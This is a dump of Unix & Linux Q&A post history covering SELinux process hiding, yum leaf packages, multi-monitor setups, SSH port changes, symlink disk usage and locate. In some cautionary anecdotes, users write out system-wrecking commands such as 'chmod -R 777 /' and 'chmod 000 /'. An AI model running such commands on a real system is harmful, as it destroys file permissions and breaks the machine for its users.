  <row Id="6144" PostHistoryTypeId="5" PostId="1326" RevisionGUID="3c2fe70d-3662-4931-b291-a43d4eb8a86a" CreationDate="2010-10-09T16:34:32.500" UserId="1131" Comment="Solaris 10 note" Text="Is it possible to configure process hiding for certain user groups under a linux system?&#xD;&#xA;&#xD;&#xA;For example: Users from group X should not see processes owned by users from group Y in ps/top or under /proc.&#xD;&#xA;&#xD;&#xA;Is it possible to configure such a setup with SELinux?&#xD;&#xA;&#xD;&#xA;(I vaguely remember a similar feature in the funny grsecurity patch set - but IIRC, it was more generic - and besides, I want to configure a stock linux distro without having to maintain a custom kernel.)&#xD;&#xA;&#xD;&#xA;**Edit:** For better illustration, [Solaris 10 has a similar feature][1]. The example is not that generic, but one can configure that a user or some users can only see information of their own processes in ps etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.sun.com/gbrunett/entry/forcing_users_to_see_only" />
  <row Id="6145" PostHistoryTypeId="2" PostId="2933" RevisionGUID="729e2454-6a1e-49d6-ae7b-182db3ab2807" CreationDate="2010-10-09T16:55:37.963" UserId="1131" Text="Actually, SELinux [seems to allow][1] such [configurations][2]:&#xD;&#xA;&#xD;&#xA;From the first [Howto][1]:&#xD;&#xA;&#xD;&#xA;&gt; This time, you will see all processes on the system regardless of the domain they are in. When in sysadm_t domain, you have access to other domains which the user_t domain does not.&#xD;&#xA;&#xD;&#xA;From the second [Howto][2]:&#xD;&#xA;&#xD;&#xA;&gt; The third line allows staff_t to run ps and see processes in the unprivileged user domains. staff_t is able to run ps and see everything in user_t and other user domains if any, whereas user_t can not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.lurking-grue.org/selinuxHOWTO.html&#xD;&#xA;  [2]: http://www.lurking-grue.org/writingselinuxpolicyHOWTO.html" />
  <row Id="6146" PostHistoryTypeId="2" PostId="2934" RevisionGUID="1cc22ff0-9446-4b44-bfff-b2695fc47f32" CreationDate="2010-10-09T18:47:56.607" UserId="1458" Text="Hi...&#xD;&#xA;&#xD;&#xA;I used to use yum to list all installed packages:&#xD;&#xA;&#xD;&#xA;`yum list installed`&#xD;&#xA;&#xD;&#xA;Now I need to list top level packages only i.e. if a package is a dependency for another I don't want it to be shown. GNOME's *Add/Remove Software* can do this but I need a the output in a terminal.&#xD;&#xA;&#xD;&#xA;I checked yum manual but I could not find a switch for that.&#xD;&#xA;&#xD;&#xA;Any solution / trick?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA; " />
  <row Id="6147" PostHistoryTypeId="1" PostId="2934" RevisionGUID="1cc22ff0-9446-4b44-bfff-b2695fc47f32" CreationDate="2010-10-09T18:47:56.607" UserId="1458" Text="List installed packages in Fedora" />
  <row Id="6148" PostHistoryTypeId="3" PostId="2934" RevisionGUID="1cc22ff0-9446-4b44-bfff-b2695fc47f32" CreationDate="2010-10-09T18:47:56.607" UserId="1458" Text="élinuxàéfedoraàésoftwareàéyumà" />
  <row Id="6149" PostHistoryTypeId="2" PostId="2935" RevisionGUID="e80d4aad-1994-4213-89cb-5de3d1624da7" CreationDate="2010-10-09T19:24:37.860" UserId="1941" Text="You can use the tool package-cleanup which is part of yum-utils. Besides finding packages which are not available from the current yum repositories, finding packages with broken dependencies, pruning old kernels and finding duplicate packages it can also find packages on which no other packages depend. Those are called leaves. Do&#xD;&#xA;&#xD;&#xA;    yum install yum-utils&#xD;&#xA;&#xD;&#xA;to get package-cleanup and&#xD;&#xA;&#xD;&#xA;    package-cleanup --leaves --all&#xD;&#xA;&#xD;&#xA;to get a list of all leaves." />
  <row Id="6150" PostHistoryTypeId="5" PostId="2911" RevisionGUID="8471b9a7-1193-42a6-b505-b31430a724eb" CreationDate="2010-10-09T19:39:02.307" UserId="1571" Comment="added 215 characters in body" Text="I want to be able to run more than 4 monitors (maybe 6) and it's extremely confusing what's compatible now with the Displayport cards coming out. Right now I have an ATI card that only has 2 HDMI outputs. The problem I've seen is that the ATI driver says it doesn't support more than 4 monitors. So it seems that their eyefinity cards would probably be more hassle than it's worth.&#xD;&#xA;&#xD;&#xA;I prefer nvidia anyway, they always seem to have really good linux drivers. But I don't see that they offer a card with more than 4 ports. Most of the higher end cards that I've seen have 2 hdmi, 1 dvi, and 1 displayport. Am I mistaken that those cards are limited to 4 monitors?&#xD;&#xA;&#xD;&#xA;And what about drivers? If I get dual nvidia cards and hook up say 2 HDMI ports + the DVI port on each card, will xorg/nvidia drivers play nice? Will I be able to set up monitors with different resolutions? (I have 2 1920x1080 and 1920x1200 screens right now)?&#xD;&#xA;&#xD;&#xA;How about x windows? Can you set up xinerama for 6 screens? Or make it able to drag x windows?&#xD;&#xA;&#xD;&#xA;**Update**:&#xD;&#xA;It seems that ati drivers have come a long way recently and that there is official eyefinity support for linux. I think I'm goin gto pick up an ATI 5870 and just see where I can get messing with it." />
  <row Id="6151" PostHistoryTypeId="2" PostId="2936" RevisionGUID="094af072-437e-49d9-9228-942e2578b018" CreationDate="2010-10-09T19:49:20.037" UserId="1571" Text="I never got it working in Ubuntu, but I got a working KDE system using arch. So I'll post an answer here in case anyone else comes here for the same problem.&#xD;&#xA;&#xD;&#xA;I could never get it working in Ubuntu. I couldn't boot without `i915.modeset=0` and without that vgaswitcheroo doesn't show up.&#xD;&#xA;&#xD;&#xA;What I ended up doing was installing arch, then before doing any setup in my new arch install, I installed a vanilla 2.6.35.7 kernel from kernel.org. That booted to a terminal just fine and I'm up and running on KDE." />
  <row Id="6152" PostHistoryTypeId="2" PostId="2937" RevisionGUID="1bc78f0f-8ffb-45b2-a82e-6138bd0b0842" CreationDate="2010-10-09T21:00:52.433" UserId="2212" Text="I think by default your file manager is trying to get the size of the files that the soft links are pointing to.&#xD;&#xA;&#xD;&#xA;Whereas &quot;du&quot; gives you the size of the directory and the soft links themselves but not the files they are pointing to.&#xD;&#xA;&#xD;&#xA;To clarify,&#xD;&#xA;&#xD;&#xA;du       -&gt; size of directory + size of all the softlinks&#xD;&#xA;du -L    -&gt; size of directory + size of all the files that the softlinks are pointing to.&#xD;&#xA;&#xD;&#xA;I'm not sure if this is what you were asking, but if it is, then I believe this could be the answer to your question." />
  <row Id="6153" PostHistoryTypeId="2" PostId="2938" RevisionGUID="2880ee09-9bf1-4d0f-bba4-8fe8123048c9" CreationDate="2010-10-09T21:18:29.537" UserId="529" Text="Mine was `chmod -R 777 /`: after that I couldn't figure out how to restore the permission on the whole filesystem and then I reinstalled the OS.&#xD;&#xA;&#xD;&#xA;Never did that again (and still don't know how to restore such a situation)." />
  <row Id="6154" PostHistoryTypeId="2" PostId="2939" RevisionGUID="bc1b91ba-7b78-4e42-9161-bb5d8db37721" CreationDate="2010-10-09T22:26:27.463" UserId="195" Text="I was a lab assistant for a linux class. One of the students, called me over because she could no longer `su -` because she was getting permission denied. OK, she's misremembered/mistyped the password. Reboot into single-user mode and reset. What?! `su` STILL doesn't work?! It must bow to my will. So I reboot into single user mode to find out what she did. I finally realized that she ran `chmod -R 777 /var/www/html/drupal-6.19 /`&#xD;&#xA;&#xD;&#xA;Note the space between the directory name and the final slash. I found out that things weren't precisely right with her system when she &#xD;&#xA;&#xD;&#xA;After a few minutes of &quot;I really don't want to have her reinstall, so what is this doing and how.&quot;, I managed to find that /bin/su now had file permissions of 777. That can also be read as file permissions of 0777, which removes the setuid bit from /bin/su. A quick `chmod u+s /bin/su` and I was a hero." />
  <row Id="6155" PostHistoryTypeId="2" PostId="2940" RevisionGUID="064e8af1-c90a-43c0-847e-882844e8c00f" CreationDate="2010-10-10T00:49:56.487" UserId="2113" Text="There is [WeTab](http://wetab.mobi/en/product-details) which is a German Tablet PC (it has english as language as well) running MeeGo ([reference to WeTab](http://wetab.mobi/en/wetab-presents-first-tablet-open-operating-system-meego)) which is a Linux based operating system.&#xD;&#xA;&#xD;&#xA;It has a virtual keyboard, runs Open Office, and is navigable &quot;by pen&quot; or rather via its touchscreen.&#xD;&#xA;&#xD;&#xA;I'm not sure if I can recommend it though, since it has quite a few bugs when a friend tested it yesterday (after he installed all software updates). Its touchscreen can get messed up for instance leaving you with no keyboard at all, or having you click somewhere else on the screen than you thought. But since they released the thing just this month perhaps you should expect some issues, and hope for a software update...&#xD;&#xA;&#xD;&#xA;If you look beyond the bugs (if it works as expected that is) it's quite neat with Flash (read youtube) support, Wifi, and the fact that it runs Linux (it even has a shell available in it's WeTab store, for free). There are a few youtube videos around as well." />
  <row Id="6156" PostHistoryTypeId="5" PostId="2737" RevisionGUID="ecf34773-5a15-4a6b-9a61-353f17b77994" CreationDate="2010-10-10T03:23:24.537" UserId="308" Comment="added 782 characters in body" Text="I tried to use Linux GUI for Fedora but I did not find it intuitive than that of windows. &#xD;&#xA;&#xD;&#xA;Whenever I tried installing any software using rpm file by double clicking file, many times it stuck and when I reinvoke that from terminal it says yum is already locked and some other  installation process is already running and I always have to force quit that process. &#xD;&#xA;&#xD;&#xA;From OS point of view this seems to be Scheduling problem. (How) can we replace scheduling  for Linux x window? Is there any better scheduling available for Fedora linux x window?&#xD;&#xA;&#xD;&#xA;Sorry about late response: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;=&gt; When I double click rpm package , it does not show up anything even after waiting for two minutes. &#xD;&#xA;&#xD;&#xA;=&gt; When I try to invoke that package from command line thinking something wrong with Fedora GUI it throws me a message saying some other process has the lock. &#xD;&#xA;&#xD;&#xA;=&gt; When I kill that process using kill command and try to install using command line it starts with no problems. &#xD;&#xA;&#xD;&#xA;=&gt; Many times when I don't kill the process after invoking rpm installation package, I start doing some other work, after more than 15 minutes the installation window comes from nowhere asking for root password, after entering which I get window for downloading dependencies ?&#xD;&#xA;&#xD;&#xA;Can somebody clarify me how this problem is not related to scheduling ?" />
  <row Id="6157" PostHistoryTypeId="5" PostId="2737" RevisionGUID="beb4f92a-871f-4373-8c24-6cdb1fc53e28" CreationDate="2010-10-10T03:35:55.583" UserId="308" Comment="added 102 characters in body" Text="I tried to use Linux GUI for Fedora but I did not find it intuitive than that of windows. &#xD;&#xA;&#xD;&#xA;Whenever I tried installing any software using rpm file by double clicking file, many times it stuck and when I reinvoke that from terminal it says yum is already locked and some other  installation process is already running and I always have to force quit that process. &#xD;&#xA;&#xD;&#xA;From OS point of view this seems to be Scheduling problem. (How) can we replace scheduling  for Linux x window? Is there any better scheduling available for Fedora linux x window?&#xD;&#xA;&#xD;&#xA;----------------------------------------------------------------------------------------&#xD;&#xA;Update: &#xD;&#xA;&#xD;&#xA;Sorry about late response: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;=&gt; When I double click rpm package , it does not show up anything even after waiting for two minutes. &#xD;&#xA;&#xD;&#xA;=&gt; When I try to invoke that package from command line thinking something wrong with Fedora GUI it throws me a message saying some other process has the lock. &#xD;&#xA;&#xD;&#xA;=&gt; When I kill that process using kill command and try to install using command line it starts with no problems. &#xD;&#xA;&#xD;&#xA;=&gt; Many times when I don't kill the process after invoking rpm installation package, I start doing some other work, after more than 15 minutes the installation window comes from nowhere asking for root password, after entering which I get window for downloading dependencies ?&#xD;&#xA;&#xD;&#xA;Can somebody clarify me how this problem is not related to scheduling ?" />
  <row Id="6158" PostHistoryTypeId="11" PostId="2737" RevisionGUID="8887b8ac-dd69-43d2-905c-c54e75ab43c1" CreationDate="2010-10-10T04:44:25.580" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="6159" PostHistoryTypeId="2" PostId="2941" RevisionGUID="a91ba9b3-0624-41c3-95cd-aa18e3fa61c8" CreationDate="2010-10-10T08:16:12.017" UserId="885" Text="(This is only an answer to your incidental question, not to your main question, but it's too long to put in a comment.)&#xD;&#xA;&#xD;&#xA;* Your problem has nothing to do with [processor time scheduling](http://en.wikipedia.org/wiki/Scheduling_(computing)), which is about sharing CPU time between concurrent applications. When you click on a rpm package, the GUI package manager starts, and it continues to run until it's done its job; that's exactly the desired behavior. The fact that the package manager takes more than a couple of seconds to do its first visible subtask (show the password prompt) is a bug or misconfiguration, but it has nothing to do with scheduling.&#xD;&#xA;* More generally, scheduling can refer to the attribution of a shared resource to concurrent processes over time. Here the interesting shared resource is the package database. Here also, everything is happening normally: when you click on the rpm package, the GUI package installer immediately starts using it, which is exactly what you requested. Since only one package manager can use the package database at the same time (which is why it takes a lock), you can't start the command-line package manager (`rpm`) while the GUI package manager is running; even looking at it from a highly theoretical perspective, this is a locking issue, not a scheduling issue.&#xD;&#xA;* Scheduling can also refer to [scheduling a program for later running](http://en.wikipedia.org/wiki/Job_scheduler); I think it's the primary meaning of the word in the Windows world (“scheduled tasks”), but it's not used as much in the unix world (where “scheduling” out of context refers to CPU scheduling as in my first bullet point above, and people tend to speak of [cron jobs](http://en.wikipedia.org/wiki/Cron)).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Turning to your main question, the long delay in starting the GUI package manager is a bug or misconfiguration in that particular program. I don't know anything about that program, so I'm afraid I can only provide a few generic investigation suggestions. I'll be asking many questions; the more you answer, the better help you're likely to get.&#xD;&#xA;&#xD;&#xA;* Is this happening from Fedora out-of-the-box or did you configure some things that may be relevant? What exact version of Fedora is this anyway? What architecture (e.g. i386 or amd64)? Is there any virtualization involved?&#xD;&#xA;* Does anything appear in the system logs? (`ls -ltr /var/log`, and look at any log entry produced when or after you click on the rpm package)&#xD;&#xA;* What is the package manager doing? Is it taking CPU time (`top` or `htop` or any of many GUI system activity monitors)? Is it doing disk I/O (`iotop` or any of a few GUI system activity monitors or listen to your hard drive if it's near you)? Is it doing network I/O (`tcpdump` or Wireshark or `ntop`)? Even better, use `ps xww` or some other process viewer to find out the process ID and run `strace -s9999 -p$PID` to observe what it's doing that's taking so long.&#xD;&#xA;* Do you have the same issue if you start the package manager from your desktop environment's menus?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6160" PostHistoryTypeId="4" PostId="2737" RevisionGUID="a7745ca7-d873-46a1-af8e-109b5cd56668" CreationDate="2010-10-10T08:17:25.937" UserId="885" Comment="changed title to actually describe the problem; changed tags as well" Text="Fedora GUI package installer takes very long (&gt;15min) to start" />
  <row Id="6161" PostHistoryTypeId="6" PostId="2737" RevisionGUID="a7745ca7-d873-46a1-af8e-109b5cd56668" CreationDate="2010-10-10T08:17:25.937" UserId="885" Comment="changed title to actually describe the problem; changed tags as well" Text="élinuxàéfedoraàéguiàépackageömanagementà" />
  <row Id="6162" PostHistoryTypeId="2" PostId="2942" RevisionGUID="d1ac6106-7201-47ae-9209-b4017a109dfb" CreationDate="2010-10-10T09:29:57.530" UserId="2226" Text="I've notices lot of admins change default ssh port. Is there any rational reason to do so?" />
  <row Id="6163" PostHistoryTypeId="1" PostId="2942" RevisionGUID="d1ac6106-7201-47ae-9209-b4017a109dfb" CreationDate="2010-10-10T09:29:57.530" UserId="2226" Text="Why change default ssh port? " />
  <row Id="6164" PostHistoryTypeId="3" PostId="2942" RevisionGUID="d1ac6106-7201-47ae-9209-b4017a109dfb" CreationDate="2010-10-10T09:29:57.530" UserId="2226" Text="ésshà" />
  <row Id="6165" PostHistoryTypeId="2" PostId="2943" RevisionGUID="8c1a9447-4e84-48bb-ad09-7d7cc323d267" CreationDate="2010-10-10T09:34:29.353" UserId="73" Text="The most likely reason is to make it harder for people randomly trying to brute force any SSH login they can find. My internet-facing machine uses the default SSH port, and my logs used to be filled with stuff like this (excerpted from an actual log file):&#xD;&#xA;&#xD;&#xA;    sshd[16359]: Invalid user test from 92.241.180.96&#xD;&#xA;    sshd[16428]: Invalid user oracle from 92.241.180.96&#xD;&#xA;    sshd[16496]: Invalid user backup from 92.241.180.96&#xD;&#xA;    sshd[16556]: Invalid user ftpuser from 92.241.180.96&#xD;&#xA;    sshd[16612]: Invalid user nagios from 92.241.180.96&#xD;&#xA;    sshd[16649]: Invalid user student from 92.241.180.96&#xD;&#xA;    sshd[16689]: Invalid user tomcat from 92.241.180.96&#xD;&#xA;    sshd[16713]: Invalid user test1 from 92.241.180.96&#xD;&#xA;    sshd[16742]: Invalid user test from 92.241.180.96&#xD;&#xA;    sshd[16746]: Invalid user cyrus from 92.241.180.96&#xD;&#xA;    sshd[16774]: Invalid user temp from 92.241.180.96&#xD;&#xA;    sshd[16790]: Invalid user postgres from 92.241.180.96&#xD;&#xA;    sshd[16806]: Invalid user samba from 92.241.180.96&#xD;&#xA;&#xD;&#xA;These days I use [DenyHosts](http://denyhosts.sourceforge.net/) to block IPs that fail to authenticate too many times, but it's probably just as easy to just switch ports; virtually all brute force attacks of this kind aren't going to bother scanning to see if your sshd is listening on another port, they'll just assume you're not running one and move on" />
  <row Id="6166" PostHistoryTypeId="5" PostId="2928" RevisionGUID="b538de1e-964c-4cc2-b018-204228659c78" CreationDate="2010-10-10T10:04:49.543" UserId="2221" Comment="added 1065 characters in body; added 6 characters in body" Text="I've read in so many websites that, in Linux, symbolic links (soft links, symlinks) are just like *pointers* that reference another file, which may be located anywhere (like Windows shortcuts). However, when I check the disk usage of a folder in which there are symbolic links, there's a mismatch between what my file manager says and what `du` reports. However, if I type `du -L` (`-L, --dereference; dereference all symbolic links` from the man page), **the output of `du -L` and the size that my file manager reports are the same**. &#xD;&#xA;&#xD;&#xA;What's the problem here?&#xD;&#xA;&#xD;&#xA;**Example**: &#xD;&#xA;&#xD;&#xA;My `/var/tmp` folder is now plain empty. Let's create a file: &#xD;&#xA;&#xD;&#xA;    $ cat /some/file.txt &gt; file.txt&#xD;&#xA;    $ du -ac&#xD;&#xA;    164	./file.txt&#xD;&#xA;    168	.&#xD;&#xA;    168	total&#xD;&#xA;&#xD;&#xA;And my file manager (Thunar, in this case) reports &#xD;&#xA;&#xD;&#xA;&gt; Size: 1 item, totalling 163.0 kB&#xD;&#xA;&#xD;&#xA;All right. Now, lets create a really big file in `/tmp` and a symlink to it: &#xD;&#xA;&#xD;&#xA;    $ cat /dir/really_big.txt &gt; /tmp/heavy.txt&#xD;&#xA;    $ du -a | grep heavy.txt&#xD;&#xA;    408	./heavy.txt&#xD;&#xA;    $ ln -s /tmp/heavy.txt heavy.txt&#xD;&#xA;    $ du -ac&#xD;&#xA;    164	./file.txt&#xD;&#xA;    0	./heavy.txt&#xD;&#xA;    168	.&#xD;&#xA;    168	total&#xD;&#xA;&#xD;&#xA;Everything is fine for now. But if I open my file manager: &#xD;&#xA;&#xD;&#xA;&gt; Size: 2 items, totalling 570.3 kB&#xD;&#xA;&#xD;&#xA;And, finally: &#xD;&#xA;&#xD;&#xA;    $ du -acL&#xD;&#xA;    164	./file.txt&#xD;&#xA;    408	./heavy.txt&#xD;&#xA;    576	.&#xD;&#xA;    576	total&#xD;&#xA;&#xD;&#xA;***My question is***: if the partition in which `/var/tmp` is located is 1 GiB big, and I create a link in it to a 1 GiB file, ¿will my hard disk die? I know that `du` will output 168 and Thunar 1 GiB, but I don't know which is right. " />
  <row Id="6167" PostHistoryTypeId="5" PostId="2928" RevisionGUID="5ba99909-9353-43b2-83ba-dacfe0df639b" CreationDate="2010-10-10T10:11:09.060" UserId="2221" Comment="added 84 characters in body" Text="I've read in so many websites that, in Linux, symbolic links (soft links, symlinks) are just like *pointers* that reference another file, which may be located anywhere (like Windows shortcuts). However, when I check the disk usage of a folder in which there are symbolic links, there's a mismatch between what my file manager says and what `du` reports. However, if I type `du -L` (`-L, --dereference; dereference all symbolic links` from the man page), **the output of `du -L` and the size that my file manager reports are the same**. &#xD;&#xA;&#xD;&#xA;***My question is***: if I have a softlink to a big file in, for example, my separate `home` partition, will I have any problems? &#xD;&#xA;&#xD;&#xA;**Example**: &#xD;&#xA;&#xD;&#xA;My `/var/tmp` folder is now plain empty. Let's create a file: &#xD;&#xA;&#xD;&#xA;    $ cat /some/file.txt &gt; file.txt&#xD;&#xA;    $ du -ac&#xD;&#xA;    164	./file.txt&#xD;&#xA;    168	.&#xD;&#xA;    168	total&#xD;&#xA;&#xD;&#xA;And my file manager (Thunar, in this case) reports &#xD;&#xA;&#xD;&#xA;&gt; Size: 1 item, totalling 163.0 kB&#xD;&#xA;&#xD;&#xA;All right. Now, lets create a really big file in `/tmp` and a symlink to it: &#xD;&#xA;&#xD;&#xA;    $ cat /dir/really_big.txt &gt; /tmp/heavy.txt&#xD;&#xA;    $ du -a | grep heavy.txt&#xD;&#xA;    408	./heavy.txt&#xD;&#xA;    $ ln -s /tmp/heavy.txt heavy.txt&#xD;&#xA;    $ du -ac&#xD;&#xA;    164	./file.txt&#xD;&#xA;    0	./heavy.txt&#xD;&#xA;    168	.&#xD;&#xA;    168	total&#xD;&#xA;&#xD;&#xA;Everything is fine for now. But if I open my file manager: &#xD;&#xA;&#xD;&#xA;&gt; Size: 2 items, totalling 570.3 kB&#xD;&#xA;&#xD;&#xA;And, finally: &#xD;&#xA;&#xD;&#xA;    $ du -acL&#xD;&#xA;    164	./file.txt&#xD;&#xA;    408	./heavy.txt&#xD;&#xA;    576	.&#xD;&#xA;    576	total&#xD;&#xA;&#xD;&#xA;If the partition in which `/var/tmp` is located is 1 GiB big, and I create a link in it to a 1 GiB file, ¿will my hard disk die? I know that `du` will output 168 and Thunar 1 GiB, but I don't know which is right. " />
  <row Id="6168" PostHistoryTypeId="5" PostId="2929" RevisionGUID="5bd8668a-6b80-4d10-9547-021456191396" CreationDate="2010-10-10T10:56:27.163" UserId="885" Comment="respond to OP's edit" Text="Symbolic links do take room, of course, but just the room it takes to store the name and target plus a few bytes for other metadata. The space taken by a symbolic link does not depend on the space taken by the target (after all, the target is not even required to exist).&#xD;&#xA;&#xD;&#xA;Plain `du` reports the space taken by a directory tree on the disk. `du -L` reports the space that *would be* taken by a directory tree if all symbolic links were replaced by their target. The former is usually the useful information; for example, it's the space you'd recover if you deleted the tree, and it's (approximately) the space you need to back up the tree.&#xD;&#xA;&#xD;&#xA;`du` on a directory tree shows (usually) a little more than the total of the file sizes. That's due to two things. First, `du` also counts directories, which take a little room to store file names and metadata. Second, `du` counts the disk space taken by a file, which can be different from the file size: the most common effect is that files take up an integer number of blocks (4kB on typical Linux installation), so a 1-byte file can show as 4kB in du output; but compression (such as the primitive form provided by [sparse files](http://en.wikipedia.org/wiki/Sparse_file) on just about every unix filesystem) can make the file size less than its disk usage.&#xD;&#xA;&#xD;&#xA;From the numbers you give, it appears that Thunar reports the *sum of the sizes of the files in the directory tree, following symbolic links*. It's actually saying so in a subtle way — it's claiming that the total size is 570.3 kB, not that the disk usage is 570.3 kB. What is not at all apparent from the user interface or documentation is that Thunar follows symbolic links when computing the size.&#xD;&#xA;&#xD;&#xA;Which one is “right” is a subjective matter. `du` reports disk usage. Thunar reports total size following symbolic links. Creating a symbolic link has a negligible impact on disk usage, but by definition does change total size following symbolic links which Thunar reports.&#xD;&#xA;" />
  <row Id="6169" PostHistoryTypeId="2" PostId="2944" RevisionGUID="36ab00e6-9b13-45bc-9946-4bb5db88ef1e" CreationDate="2010-10-10T12:14:42.177" UserId="1131" Text="No, it's a security by obscurity tactic.&#xD;&#xA;&#xD;&#xA;If your sshd setup is not fit enough to face dump script kiddies only trying port 22, you have a problem anyway.&#xD;&#xA;&#xD;&#xA;A more rational reaction would be:&#xD;&#xA;&#xD;&#xA;- make sure that your users are using good passwords which are hard to guess/brute-force&#xD;&#xA;- disable password-authentication (at least for important accounts) and just use public-key-authentication&#xD;&#xA;- watch out for ssh-security issues and upgrades" />
  <row Id="6170" PostHistoryTypeId="5" PostId="2942" RevisionGUID="15ea40b8-1af4-4038-99d6-7d38ef950e06" CreationDate="2010-10-10T12:33:47.937" UserId="2226" Comment="edited body" Text="I've noticed lot of admins change default ssh port. Is there any rational reason to do so?" />
  <row Id="6171" PostHistoryTypeId="2" PostId="2945" RevisionGUID="6e761efb-8ad1-4d9f-bde4-792d49213eea" CreationDate="2010-10-10T12:46:33.043" UserId="2226" Text="I was curious if  `chmod 000 /` would work.&#xD;&#xA;&#xD;&#xA;Well, flawlessly. Few minutes later I was searching for rescue CD." />
  <row Id="6172" PostHistoryTypeId="2" PostId="2946" RevisionGUID="778f5e1c-9db8-4e80-9f9e-bff44dc4ef09" CreationDate="2010-10-10T12:52:22.610" UserId="2226" Text="Does anyone know how to align applets on Gnome panel? For example I add notification area and there's five icons (you see it on the left of processor icon). Then, I plug my BlueTooth adapter out of my laptop and it's logo disappears, leaving blank space on the right side of applet.&#xD;&#xA;&#xD;&#xA;Here's screenshot:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;Same happens with any applet that's width can change (for example tray). Is there any way to tell applet &quot;Move right as far as you can&quot;.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/GhAaC.png" />
  <row Id="6173" PostHistoryTypeId="1" PostId="2946" RevisionGUID="778f5e1c-9db8-4e80-9f9e-bff44dc4ef09" CreationDate="2010-10-10T12:52:22.610" UserId="2226" Text="How to align applets on Gnome panel" />
  <row Id="6174" PostHistoryTypeId="3" PostId="2946" RevisionGUID="778f5e1c-9db8-4e80-9f9e-bff44dc4ef09" CreationDate="2010-10-10T12:52:22.610" UserId="2226" Text="éubuntuàégnomeà" />
  <row Id="6175" PostHistoryTypeId="2" PostId="2947" RevisionGUID="180a984e-f6c2-42f9-a85a-11179906dda6" CreationDate="2010-10-10T15:28:28.673" UserId="1416" Text="Kubuntu makes many modifications to various applications (e.g., Firefox, OpenOffice), so it is unlikely that there is an easy way to recreate the Kubuntu look on ArchLinux.&#xD;&#xA;&#xD;&#xA;That being said, I moved from Kubuntu to ArchLinux and I now prefer the vanilla applications (e.g., OpenOffice looks much better).&#xD;&#xA;&#xD;&#xA;One thing that helped a lot in synchronizing the look of gtk applications with KDE was to install qtcurve, a theme that works for both qt (KDE) and gtk (Gnome) apps.&#xD;&#xA;&#xD;&#xA;    pacman -S qtcurve-gtk2 qtcurve-kde4 gtk-chtheme&#xD;&#xA;    gtk-chtheme&#xD;&#xA;    # Change the theme for qtcurve&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6176" PostHistoryTypeId="2" PostId="2948" RevisionGUID="de455b70-19c1-4106-aae5-8b49bede4cb9" CreationDate="2010-10-10T16:23:01.863" UserId="2228" Text="[Sshguard][1] is a much better way to protect against brute force attacks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sshguard.net/" />
  <row Id="6177" PostHistoryTypeId="2" PostId="2949" RevisionGUID="53ac3edb-c8fb-442b-8e62-77995534b21b" CreationDate="2010-10-10T17:04:08.700" UserId="1170" Text="gnome reads ~/.profile upon login. when i change something in .profile (for example the LC_MESSAGES) i want gnome to reread the .profile file without logging out and back in. in bash i can tell bash to source .profile. how can i do that for the running gnome session?" />
  <row Id="6178" PostHistoryTypeId="1" PostId="2949" RevisionGUID="53ac3edb-c8fb-442b-8e62-77995534b21b" CreationDate="2010-10-10T17:04:08.700" UserId="1170" Text="how do i tell gnome to reread my ~/.profile" />
  <row Id="6179" PostHistoryTypeId="3" PostId="2949" RevisionGUID="53ac3edb-c8fb-442b-8e62-77995534b21b" CreationDate="2010-10-10T17:04:08.700" UserId="1170" Text="égnomeà" />
  <row Id="6180" PostHistoryTypeId="2" PostId="2950" RevisionGUID="7867e923-17f5-4c25-a377-2780f77916ff" CreationDate="2010-10-10T17:18:14.610" UserId="146" Text="&gt; How about x windows? Can you set up&#xD;&#xA;&gt; xinerama for 6 screens? Or make it&#xD;&#xA;&gt; able to drag x windows?&#xD;&#xA;&#xD;&#xA;The current Xorg limit is 16 display devices, but a multi-head card will typically be treated as a single device unless you want separate logical displays (not Xinerama-style)." />
  <row Id="6181" PostHistoryTypeId="2" PostId="2951" RevisionGUID="b4a78c07-0599-402e-8693-920f50b4d053" CreationDate="2010-10-10T17:43:47.893" UserId="2200" Text="Hi, I am a Windows user and coming from Windows with all the indexing and eternal wait times when searching for files, I find it surprising how fast does *locate* work or the autocompletion (that I know) work in linux.&#xD;&#xA;&#xD;&#xA;Is there any indexing being done in the background or how is this achieved? I still have a pretty clean installation, so maybe this goes bad with time, but in Windows the moment you want to search on a folder which is not indexed you have to wait for some seconds.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="6182" PostHistoryTypeId="1" PostId="2951" RevisionGUID="b4a78c07-0599-402e-8693-920f50b4d053" CreationDate="2010-10-10T17:43:47.893" UserId="2200" Text="How does searching a file (locate) or autocompletion work?" />
  <row Id="6183" PostHistoryTypeId="3" PostId="2951" RevisionGUID="b4a78c07-0599-402e-8693-920f50b4d053" CreationDate="2010-10-10T17:43:47.893" UserId="2200" Text="ésearchà" />
  <row Id="6184" PostHistoryTypeId="2" PostId="2952" RevisionGUID="8cdce568-1197-4730-9408-1ea0432e976e" CreationDate="2010-10-10T18:11:00.510" UserId="1131" Text="Usually, locate uses an index which is generated once a day via a cron-job (/etc/cron.daily/mlocate on my system for example). It does nothing fancy, basically a complete filesystem traversal with some optimizations and the building of the index data structure.&#xD;&#xA;&#xD;&#xA;Shells use probably some internal caching for command completion, but does not use a global index file. Besides, usually, Unix kernels maintain a dentry-cache, i.e.\ they cache file directory information used by directory listings etc. in memory (including the stat'ing of non-existent files - which is also called inverse caching).&#xD;&#xA;" />
